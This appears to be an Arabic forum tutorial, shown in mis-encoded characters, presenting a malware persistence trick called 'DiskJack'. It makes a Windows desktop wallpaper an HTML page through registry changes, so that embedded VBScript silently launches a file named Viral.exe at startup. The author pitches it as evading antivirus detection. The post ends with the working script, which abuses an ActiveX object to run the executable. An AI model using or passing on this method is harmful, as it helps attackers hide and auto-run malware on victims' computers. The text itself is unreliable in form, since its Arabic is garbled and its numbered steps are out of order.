ÇáÓáÇã Úáíßã æÑÍãÉ Çááå ÊÚÇáì æÈÑßÇÊå.
Çáíæã ÓäÊÍÏË Úä ØÑíÞÉ ÌÏíÏÉ ÅßÊÔÝÊåÇ ÝÞí äÙÇã ÇáæäÏæÒ áÔÊÛíá ÇáÈÑãÌ ÇáÖÇÑÉ æ ÇáÝíÑæÓÇÊ æ ÇáÊÑæÌÇäÇÊ ÚäÏ ÈÏÁ ÇáÊÔÛíá ãÇ ÓäÊßáã Úäå åæ ãÇ ÇáåÏÝ ãä
æáÞÏ ÓãíÊ åÐå ÇáØÑíÞÉ ÇáÈÓíØÉ ÈÜÜ DiskJack áßí ÊÃÎÐ ÇáØÇÈÚ ÇáÊÞäí .
åÐå ÇáØÑíÞÉ æáãÇ ÊÚÊÈÑ ÇÍÓä ãä ÇáØÑÞ ÇáÃÎÑì.
ãÇ íÚíÈ ÇáØÑÞ ÇáÃÎÑì åí ÇäåÇ ãßÔæÝÉ æÑæÊíäÉ áÐáß áÇÈÏ ãä ÇáÈÍË Úä ØÑíÞÉ ÛíÑ ãßÔæÝÉ æÊßæä ÈÔßá ãÛÇíÑ.
ÇáØÑíÞÉ ÊÚÊãÏ Úáì ÎáÝíÉ ÓØÍ ÇáãßÊÈ + ÇáÊÚÏíá Ýí ãÓÌá ÇáäÙÇã áÊÛíÑåÇ(åäÇáß ÇßæÇÏ ÊÞæã ÈÐáß ãÈÇÔÑÉ).
ÔÇåÏ åÐå ÇáÕæÑÉ æÐáß ÈÚÏ ÅÞÊäÇÕ æ ÇáÊÃÔíÑ Úáì ÎáÝíÉ ÓØÍ ÇáãßÊÈ.

ãÇÐÇ ÊáÇÍÙ¿¿¿ åá ÊÚäí áß åÊå ÇáÚÈÇÑÉ ÔíÁ Internet Explorer_Server...
ÇÐÇ áã ÊÚäí áß ÔíÆ ÔÇåÏ ÇáÕæÑÉ

ãÇÐÇ ÊÓÊäÊÌ¿ ÇÚÑÝ Çäí æÖÚÊß Ýí ÏÇÆÑÉ ãä ÇáÊÓÇÄáÇÊ æÇäß áã ÊÝåã ÔíÆ áÇÚáíß ÓÃæÖÍ.
Internet Explorer_Server åæ Class íÓÊÚãá Ýí ßËíÑ ãä ÇáÍÇáÇÊ æÊÑÇå ßËíÑÇ Ýí IE ÌãíÚ ÇáÅÕÏÇÑÇÊ áÃäå åæ ÇáÐí íÞæã ÈÚÑÖ ÕÝÍÇÊ ÇáÅäÊÑäÊ.
æåÐÇ íÚäí Çäß ÊÓÊØíÚ Çä ÊÌÚá ÎáÝíÉ ÓÊØÍ ÇáãßÊÈ ÚÈÇÑÉ Úä ãáÝ HTML áÃäå åæ ÇáãÓÊÚãá Ýí ÚÑÖ ÇáÕæÑ Ýí ÇáÎáÝíÉ(æåÐÇ ãÇ ÊæÖÍå ÇáÕæÑÉ ÇáÃæáì)¡ æåäÇ ÇáãÔßáÉ.
ÇáÓíäÇÑíæ Óíßæä ßÇÊÇáí:
2-äÓÎ Viral.exe Åáì ãßÇä ãÚíä ÛíÑ System Files Directory áßí áÇ íÊã ßÔÝåÇ ØÈÞÇ áÊÞäíÉ behavior Study ØÈÚÇ åÐå ÅÌÑÇÁÇÊ ÅÍÊÑÇÒíÉ ÖÏ ÇáßÇÓÈÑ 2009 ããßä Óíßæä ãä ÇáÓåá äÓÎ ÇáÝíÑæÓ Åáì ãÌáÏ ÇáäÙÇã æÚÏã ÇáÊÚÑÖ ááßÔÝ ãä ÈÑÇãÌ ÇáãßÇÝÍÉ ÇáÃÎÑì.
1-ÇäÔÇÁ ÕÝÍÉ HTML ÈåÇ ßæÏ íÞæã ÈÊÔÛíá Viral.exe
3-ÊÛíÑ ÇáÎáÝíÉ Åáì ÕÝÍÉ Çá HTML ÇáÊí Êã ÅäÔÇÁåÇ.
æÐáß Úä ØÑíÞ ÇáÊÚÏíá Úáì ÇáãÝÊÇÍ ÇáÊÇáí Ýí Registry.

HKEY_CURRENT_USER\Control Panel\Desktop

HKEY_CURRENT_USER\Control Panel\Desktop\WallpaperStyle

<script language=vbscript>
on error resume next
dim sys
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36 "
set fso = df.createobject("Scripting.FileSystemObject","")
set s=df.CreateObject("Shell.Application.1","")
set re=df.createobject("wscript.shell","")
sys=fso.GetSpecialFolder(1)
s.Open ("C:\Program Files\WinRAR\Viral.exe")
</script>